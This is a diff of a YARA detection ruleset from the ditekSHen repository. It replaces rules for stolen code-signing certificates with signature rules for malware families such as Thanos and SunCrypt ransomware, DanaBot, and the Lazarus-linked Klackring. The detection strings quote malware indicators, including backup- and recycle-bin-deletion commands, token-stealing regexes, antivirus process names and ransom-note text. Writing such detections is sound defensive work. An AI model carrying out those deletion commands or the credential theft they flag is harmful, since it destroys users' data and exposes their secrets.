-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "e62a0f1c-4404-5da1-9c43-4cb58e735827"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2495-L2506"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4339-L4355"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "096cf4bb17aa86821bd8d6c8b9fd603664beb12f54a97a87e660b560bd0fc246"
+		logic_hash = "bd3823f8a91fdfc443e20bcb299a5103b7176a694f0d5328e7986de83f677a31"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "13bf3156e66a57d413455973866102b0a1f6d45a1e6de050ca9dcf16ecafb4e2"
-		importance = 20
+
+	strings:
+		$s1 = "ACTION=PREVPAGE&CODE=C%s&RES=%d" fullword ascii
+		$s2 = "ACTION=VIEW&PAGE=%s&CODE=%s&CACHE=%s&REQUEST=%d" fullword ascii
+		$s3 = "ACTION=NEXTPAGE&CODE=S%s&CACHE=%s&RES=%d" fullword ascii
+		$s4 = "Your request has been accepted. ClientID: {" ascii
+		$s5 = "Proxy-Connection: Keep-Alive" fullword wide
+		$s6 = "Content-Length: %d" fullword wide
+		$o0 = { f7 f9 8b c2 89 44 24 34 48 63 44 24 34 48 8b 4c }
+		$o1 = { 48 c7 00 ff ff ff ff 48 8b 84 24 90 }
+		$o2 = { f3 aa 83 7c 24 30 01 75 34 c7 44 24 20 01 }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "VENTE DE TOUT" and pe.signatures[i].serial=="2d:cd:06:99:da:08:91:5d:de:6d:04:4c:b4:74:15:7c")
+		uint16(0)==0x5a4d and 4 of ($s*) or ( all of ($o*) and 3 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_008D52Fb12A2511E86Bbb0Ba75C517Eab0 : FILE
+rule DITEKSHEN_MALWARE_Win_Thanos : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Thanos / Prometheus / Spook ransomware"
 		author = "ditekSHen"
-		id = "04b78a1c-bb2c-5844-933b-f95a0cc8c71e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "f523906e-ef5e-57be-82ed-06e75c393f42"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2508-L2519"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4357-L4389"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "23dc0500af88af0e2c8ea7ff2c5a149d24fb7fd23853c4bf5ee5921a66a34672"
+		logic_hash = "8ce7cdfe4bca31e21d6fa31a75c46737a41fae3b5b0fda818e3a4709ceaf9bf5"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "9e918ce337aebb755e23885d928e1a67eca6823934935010e82b561b928df2f9"
-		importance = 20
+
+	strings:
+		$f1 = "<WorkerCrypter2>b__" ascii
+		$f2 = "<Encrypt2>b__" ascii
+		$f3 = "<Killproc>b__" ascii
+		$f4 = "<GetIPInfo>b__" ascii
+		$f5 = "<MacAddress>k__" ascii
+		$f6 = "<IPAddress>k__" ascii
+		$f7 = "<Crypt>b__" ascii
+		$s1 = "Aditional KeyId:" wide
+		$s2 = "process call create cmd.exe /c \\\\" wide
+		$s3 = "/c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin" wide
+		$s4 = "\\HOW_TO_DECYPHER_FILES." wide
+		$s5 = "Client Unique Identifier Key:" wide
+		$s6 = "/s /f /q c:\\*.VHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.* c:\\backup*.* c:\\*.set c:\\*.win c:\\*.dsk" fullword wide
+		$s7 = "NtOpenProcess" fullword wide
+		$s8 = "Builder_Log" fullword wide
+		$s9 = "> Nul & fsutil file setZeroData offset=0 length=" wide
+		$s10 = "3747bdbf-0ef0-42d8-9234-70d68801f407" wide
+		$s11 = "4b195894-0f06-4fdd-afb4-b17fb9246a59" wide
+		$s12 = "cec564ff-2433-4771-b918-15f58ef6e26c" wide
+		$s13 = "56258a19-7489-468b-86ee-e7899203d67c" wide
+		$s14 = "WalkDirectoryTree" fullword ascii
+		$s15 = "hashtableLock" fullword ascii
+		$s16 = "get_ParentFrn" fullword ascii
+		$m1 = "SW5mb3JtYXRpb24uLi" wide
+		$m2 = "QWxsIHlvdXIgZmlsZXMgd2VyZSBlbmNyeXB0" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "VThink Software Consulting Inc." and pe.signatures[i].serial=="00:8d:52:fb:12:a2:51:1e:86:bb:b0:ba:75:c5:17:ea:b0")
+		uint16(0)==0x5a4d and (5 of ($f*) or 5 of ($s*) or (4 of ($f*) and 2 of ($s*) or ( all of ($m*) and 3 of them )) or 8 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00B1Aea98Bf0Ce789B6C952310F14Edde0 : FILE
+rule DITEKSHEN_MALWARE_Win_Tmanager : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects TManager RAT. Associated with TA428"
 		author = "ditekSHen"
-		id = "9ab5382f-d768-553c-b52c-88d3a3824459"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "391b72bd-ddf5-5251-b566-c75c1cc16b74"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2521-L2532"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4391-L4410"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f7e8a4a0dcd952129e24e8e9351f271d7ea98ffcb7ef9ebe65c27dcc62e6a820"
+		logic_hash = "cdbcc00ae67c9161f6db89cfa658c8bc8fb7fab3915ac5ae99bdd34c42ee2abb"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "28324a9746edbdb41c9579032d6eb6ab4fd3e0906f250d4858ce9c5fe5e97469"
-		importance = 20
+
+	strings:
+		$s1 = "WSAStartup Error!" fullword wide
+		$s2 = "KB3112342.LOG" fullword wide
+		$s3 = "\\cmd.exe -c" fullword wide
+		$s4 = "sock_hmutex" fullword wide
+		$s5 = "cmd_hmutex" fullword wide
+		$s6 = "powershell" fullword wide
+		$s7 = "%s_%d.bmp" fullword wide
+		$s8 = "!Error!" fullword wide
+		$s9 = "[Execute]" fullword ascii
+		$s10 = "[Snapshot]" fullword ascii
+		$s11 = "GetLanIP error!" fullword ascii
+		$s12 = "chcp & exit" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Absolut LLC" and pe.signatures[i].serial=="00:b1:ae:a9:8b:f0:ce:78:9b:6c:95:23:10:f1:4e:dd:e0")
+		uint16(0)==0x5a4d and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00F097E59809Ae2E771B7B9Ae5Fc3408D7 : FILE
+rule DITEKSHEN_MALWARE_Win_Sn0Wlogger : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Sn0w Logger"
 		author = "ditekSHen"
-		id = "edd8674d-7d45-5f77-aa47-3fbe32176324"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "cdb70164-3f72-553f-a6c5-190f699e0743"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2534-L2545"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4412-L4428"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "817876ab8e649b36cac2e7b23d58fe94963c55481fbf3deff7e60a70896af6d0"
+		logic_hash = "ea4b2281f906271dc249b5036b22eadfc5add94def4f8e4f8a40c384618465d8"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "22ad7df275c8b5036ea05b95ce5da768049bd2b21993549eed3a8a5ada990b1e"
-		importance = 20
+
+	strings:
+		$s1 = "\\SnowP\\Example\\Secured\\" ascii
+		$s2 = "{0}{3}Content-Type: {4}{3}Content-Disposition: form-data; name=\"{1}\"{3}{3}{2}{3}" wide
+		$s3 = "\"encrypted_key\":\"(.*?)\"" fullword wide
+		$s4 = "<SendToDiscord>d__" ascii
+		$s5 = "_urlWebhook" ascii
+		$r1 = "[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}" fullword wide
+		$r2 = "^\\w+([-+.']\\w+)*@\\w+([-.]\\w+)*\\.\\w+([-.]\\w+)*$" fullword wide
+		$r3 = "mfa\\.[\\w-]{84}" fullword wide
+		$r4 = "(\\w+)=(\\d+)-(\\d+)$" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ABEL RENOVATIONS, INC." and pe.signatures[i].serial=="00:f0:97:e5:98:09:ae:2e:77:1b:7b:9a:e5:fc:34:08:d7")
+		uint16(0)==0x5a4d and (4 of ($s*) or ( all of ($r*) and 2 of ($s*)) or 7 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_2E8023A5A0328F66656E1Fc251C82680 : FILE
+rule DITEKSHEN_MALWARE_Win_Danabot : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects DanaBot variants"
 		author = "ditekSHen"
-		id = "192695ab-2f38-5a0b-98ba-5c800f6b9ec1"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "a49e21b9-d40a-5273-a9a2-322a1ec9bbbc"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2547-L2558"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4430-L4459"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5f0ff46d6cb2a6fe50a4e433dfbf8f62acd92b7c92d922680894fdaee2558d31"
+		logic_hash = "8d037b46d719159dc3e60f0c7143022ce8745cfd753c3754ae80a220a838567d"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "e3eff064ad23cc4c98cdbcd78e4e5a69527cf2e4"
-		importance = 20
+
+	strings:
+		$s1 = "ms ie ftp passwords" fullword wide
+		$s2 = "CookieEntryEx_" fullword wide
+		$s3 = "winmgmts:\\\\localhost\\root\\cimv2" fullword wide
+		$s4 = "S-Password.txt" fullword wide
+		$s5 = "del_ini://Main|Password|" fullword wide
+		$s6 = "cmd.exe /c start chrome.exe --no-sandbox" wide
+		$s7 = "cmd.exe /c start firefox.exe -no-remote" wide
+		$s8 = "\\rundll32.exe shell32.dll,#" wide
+		$s9 = "S_Error:TORConnect" wide
+		$s10 = "InjectionProcess" fullword ascii
+		$s11 = "proxylogin" fullword wide
+		$s12 = "\\FS_Morff\\FS_Temp\\" wide
+		$ds1 = "C:\\Windows\\System32\\rundll32.exe" fullword wide
+		$ds2 = "PExtended4" fullword ascii
+		$ds3 = "%s-%s" fullword wide
+		$ds4 = "00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F808182838485868788898A8B8C8D8E8F909192939495969798999A9B9C9D9E9FA0A1A2A3A4A5A6A7A8A9AAABACADAEAFB0B1B2B3B4B5B6B7B8B9BABBBCBDBEBFC0C1C2C3C4C5C6C7C8C9CACBCCCDCECFD0D1D2D3D4D5D6D7D8D9DADBDCDDDEDFE0E1E2E3E4E5E6E7E8E9EAEBECEDEEEFF0F1F2F3F4F5F6F7F8F9FAFBFCFDFEFF0123456789ABCDEF" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Philippe Mantes" and pe.signatures[i].serial=="2e:80:23:a5:a0:32:8f:66:65:6e:1f:c2:51:c8:26:80")
+		uint16(0)==0x5a4d and (7 of ($s*) or all of ($ds*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_38B0Eaa7C533051A456Fb96C4Ecf91C4 : FILE
+rule DITEKSHEN_MALWARE_Win_Klackring : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Klackring variants. Associated with ZINC / Lazarus"
 		author = "ditekSHen"
-		id = "1133fb37-2616-5d95-83da-554d9a5a5373"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "7bd9a68f-d58b-5437-a28b-5a7f1a11038e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2560-L2571"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4461-L4475"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3ea8eaf1fc17075a8c1f34f9b1d8a987071d58a4b68bed70db763402a9a6de97"
+		logic_hash = "b894e89de720affadd80966d726a44ffce75d71095b0530edb6bfddb76660c54"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "8e2e69b1202210dc9d2155a0f974ab8c325d5297"
-		importance = 20
+
+	strings:
+		$s1 = "%s\\%s.dll" fullword wide
+		$s2 = "cmd.exe /c move /Y %s %s" fullword wide
+		$s3 = "%s\\win32k.sys" fullword wide
+		$s4 = "NetSvcInst_Rundll32.dll" fullword ascii
+		$s5 = "Spectrum.dll" fullword ascii wide
+		$s6 = "%s\\cmd.exe" fullword wide
+		$s7 = ".?AVA5Stream@@" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Marianne Septier" and pe.signatures[i].serial=="38:b0:ea:a7:c5:33:05:1a:45:6f:b9:6c:4e:cf:91:c4")
+		uint16(0)==0x5a4d and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_738Db9460A10Bb8Bc03Dc59Feac3Be5E : FILE
+rule DITEKSHEN_MALWARE_Win_Comebacker : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects ComeBacker variants. Associated with ZINC / Lazarus"
 		author = "ditekSHen"
-		id = "3451fe9d-067a-57ea-9df1-35d427d8c71a"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "d0454d09-4a15-5251-aa7a-cb00604715ca"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2573-L2584"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4477-L4492"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6a7060f2a5867e9974cb01de516ef34fb367ef9acf88e2f63c97dd05b1676504"
+		logic_hash = "0d806fd199f0e8e3576ca837781c2fa06f1a09d75ea16602effb72754d8e4940"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "4cf77e598b603c13cdcd1a676ca61513558df746"
-		importance = 20
+
+	strings:
+		$s1 = "ENGINE_get_RAND" ascii
+		$s2 = "./{IES" fullword ascii
+		$s3 = "TODO: <Company name>" fullword wide
+		$s4 = "@Microsoft Corperation. All rights reserved." fullword wide
+		$s5 = "Microsoft@Windows@Operating System" fullword wide
+		$x1 = "C:\\Windows\\System32\\rundll32.exe %s,%s %s %s" fullword ascii wide
+		$x2 = "ASN2_TYPE_new" fullword ascii wide
+		$x3 = "SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Jocelyn Bennett" and pe.signatures[i].serial=="73:8d:b9:46:0a:10:bb:8b:c0:3d:c5:9f:ea:c3:be:5e")
+		uint16(0)==0x5a4d and ( all of ($s*) or all of ($x*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_141D6Dafed065980D97520E666493396 : FILE
+rule DITEKSHEN_MALWARE_Win_Suncrypt : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects SunCrypt ransomware"
 		author = "ditekSHen"
-		id = "1a2e44d7-b801-5c3e-bf74-616f211c6d93"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "1a28fcbf-1fc0-5f18-ae71-2e813ed0f958"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2586-L2597"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4494-L4532"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "37ed05b7a472ec6cbc1bba453f3be9ca1bd590ed6470d6607873ef52b28e3ea5"
+		logic_hash = "abde9bbf2577304ff059972a38e803ba17de7a1f0346efe880a710f2ad79db37"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "28225705d615a47de0d1b0e324b5b9ca7c11ce48"
-		importance = 20
+
+	strings:
+		$s1 = "-noshares" fullword wide
+		$s2 = "-nomutex" fullword wide
+		$s3 = "-noreport" fullword wide
+		$s4 = "-noservices" fullword wide
+		$s5 = "$Recycle.bin" fullword wide
+		$s6 = "YOUR_FILES_ARE_ENCRYPTED.HTML" fullword wide
+		$s7 = "\\\\?\\%c:" fullword wide
+		$s8 = "locker.exe" fullword ascii
+		$s9 = "DllRegisterServer" fullword ascii
+		$g1 = "main.EncFile" fullword ascii nocase
+		$g2 = "main.detectName" fullword ascii nocase
+		$g3 = "main.detectIP" fullword ascii nocase
+		$g4 = "main.detectDebugProc" fullword ascii nocase
+		$g5 = "main.Bypass" ascii nocase
+		$g6 = "main.allocateMemory" fullword ascii nocase
+		$g7 = "main.killAV" fullword ascii nocase
+		$g8 = "main.disableShadowCopy" fullword ascii nocase
+		$g9 = "main.(*windowsDrivesModel).LoadDrives" fullword ascii nocase
+		$g10 = "main.IsFriends" fullword ascii nocase
+		$g11 = "main.walkMsg" fullword ascii nocase
+		$g12 = "main.makeSecretMessage" fullword ascii nocase
+		$g13 = "main.stealFiles" fullword ascii nocase
+		$g14 = "main.newKey" fullword ascii nocase
+		$g15 = "main.openBrowser" fullword ascii nocase
+		$g16 = "main.killProc" fullword ascii nocase
+		$g17 = "main.selfRemove" fullword ascii nocase
+		$m1 = "<h2>\\x20Offline\\x20HowTo\\x20</h2>\\x0a\\x09\\x09\\x09\\x09<p>Copy\\x20&\\x20Paste\\x20this\\x20message\\x20to" ascii
+		$m2 = "\\x20restore\\x20your\\x20files." ascii
+		$m3 = "\\x20your\\x20documents\\x20and\\x20files\\x20encrypted" ascii
+		$m4 = "\\x20lose\\x20all\\x20of\\x20your\\x20data\\x20and\\x20files." ascii
+		$m5 = ",'/#/client/','<h2>\\x20Whats\\x20Happen" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Ralph Schmidt" and pe.signatures[i].serial=="14:1d:6d:af:ed:06:59:80:d9:75:20:e6:66:49:33:96")
+		uint16(0)==0x5a4d and (5 of ($s*) or 6 of ($g*) or 3 of ($m*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_07Cf63Bdccc15C55E5Ce785Bdfbeaacf : FILE
+rule DITEKSHEN_MALWARE_Win_Zegost : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Zegost"
 		author = "ditekSHen"
-		id = "7bdc16ed-ff95-5e96-bfe9-ad326c77c82a"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "cce29602-c096-53df-a99b-16f18ed43b80"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2599-L2610"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4534-L4560"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1fdd8f6535bf5a78fcd7e33475a650914053f1391fe04f885e9e5a84452bfe5a"
+		logic_hash = "96727a0f5c113e5cdfe871f104553fd1c04a8f63ecbb8db7223afb71fcdd4087"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "3306df7607bed04187d23c1eb93adf2998e51d01"
-		importance = 20
+
+	strings:
+		$s1 = "rtvscan.exe" fullword ascii
+		$s2 = "ashDisp.exe" fullword ascii
+		$s3 = "KvMonXP.exe" fullword ascii
+		$s4 = "egui.exe" fullword ascii
+		$s5 = "avcenter.exe" fullword ascii
+		$s6 = "K7TSecurity.exe" fullword ascii
+		$s7 = "TMBMSRV.exe" fullword ascii
+		$s8 = "RavMonD.exe" fullword ascii
+		$s9 = "kxetray.exe" fullword ascii
+		$s10 = "mssecess.exe" fullword ascii
+		$s11 = "QUHLPSVC.EXE" fullword ascii
+		$s12 = "360tray.exe" fullword ascii
+		$s13 = "QQPCRTP.exe" fullword ascii
+		$s14 = "knsdtray.exe" fullword ascii
+		$s15 = "V3Svc.exe" fullword ascii
+		$s16 = "??1_Winit@std@@QAE@XZ" fullword ascii
+		$s17 = "ClearEventLogA" fullword ascii
+		$s18 = "SeShutdownPrivilege" fullword ascii
+		$s19 = "%s\\shell\\open\\command" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "REITSUPER ESTATE LLC" and pe.signatures[i].serial=="07:cf:63:bd:cc:c1:5c:55:e5:ce:78:5b:df:be:aa:cf")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0382Cd4B6Ed21Ed7C3Eaea266269D000 : FILE
+rule DITEKSHEN_MALWARE_Win_GENERIC01 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects known unamed malicious executables, mostly DLLs"
 		author = "ditekSHen"
-		id = "ad4bc1bc-4d72-51bf-a22c-cd98f33f3931"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "3c16df71-f2e2-591c-b377-7e5ed697d43f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2612-L2623"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4562-L4575"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7e8204f2ec30da73bc2eb83e065412c96e084d7ff5f8ab6125d643693d7407d1"
+		logic_hash = "ddae979db5ddda772ca66a3d50e4b5479b16052ea002fd04fdbf295ce784e291"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "e600612ffcd002718b7d03a49d142d07c5a04154"
-		importance = 20
+
+	strings:
+		$s1 = "\\wmkawe_%d.data" ascii
+		$s2 = "\\resmon.resmoncfg" ascii
+		$s3 = "ByPassUAC" fullword ascii
+		$s4 = "rundll32.exe C:\\ProgramData\\Sandboxie\\SbieMsg.dll,installsvc" fullword ascii nocase
+		$s5 = "%s\\SbieMsg." ascii
+		$s6 = "Stupid Japanese" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "LOOK AND FEEL SP Z O O" and pe.signatures[i].serial=="03:82:cd:4b:6e:d2:1e:d7:c3:ea:ea:26:62:69:d0:00")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_08653Ef2Ed9E6Ebb56Ffa7E93F963235 : FILE
+rule DITEKSHEN_MALWARE_Win_GENERIC02 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects known unamed malicious executables"
 		author = "ditekSHen"
-		id = "8883185a-8239-5648-bebc-3a4c3578a7d6"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "d0d24e69-0e99-5766-8e8e-9cdce902fa8f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2625-L2636"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4577-L4591"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b0e35f2dbd27de0dc9ea6ee7958c477e6a154bc4c8bb5484ba85ed5732502645"
+		logic_hash = "4f750c871ee061ed2d5d1f68e6ac1f56b8127321cfc207e2dd1dbed9d9848ce5"
 		score = 75
-		quality = 75
+		quality = 25
 		tags = "FILE"
-		thumbprint = "1567d022b47704a1fd7ab71ff60a121d0c1df33a"
-		importance = 20
+
+	strings:
+		$s1 = "{%s-%d-%d}" fullword wide
+		$s2 = "update" fullword wide
+		$s3 = "https://" fullword wide
+		$s4 = "http://" fullword wide
+		$s5 = "configure" fullword ascii
+		$s6 = { 8d 4f 02 e8 8c ff ff ff 8b d8 81 fb 00 dc 00 00 }
+		$s7 = { 83 c1 02 e8 3c ff ff ff 8b c8 ba ff 03 00 00 8d }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Haw Farm LIMITED" and pe.signatures[i].serial=="08:65:3e:f2:ed:9e:6e:bb:56:ff:a7:e9:3f:96:32:35")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0Ddce8Cdc91B5B649Bb4B45Ffbba6C6C : FILE
+rule DITEKSHEN_MALWARE_Win_Dlagent06 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects known downloader agent downloading encoded binaries in patches"
 		author = "ditekSHen"
-		id = "180b2e63-7151-5899-8c12-7e4cd3bb2e0d"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "00cb5184-b12d-5014-bee8-116cc72dfa47"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2638-L2649"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4593-L4610"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "940d257253a0a1a3f70dcec1cb57e9ab08108138ce3b80c9f74228a8b702601c"
+		logic_hash = "9188804ad0e08f3e0cd09eb8815abea14da5aa28aef9084d19108a24f49f65c7"
 		score = 75
 		quality = 75
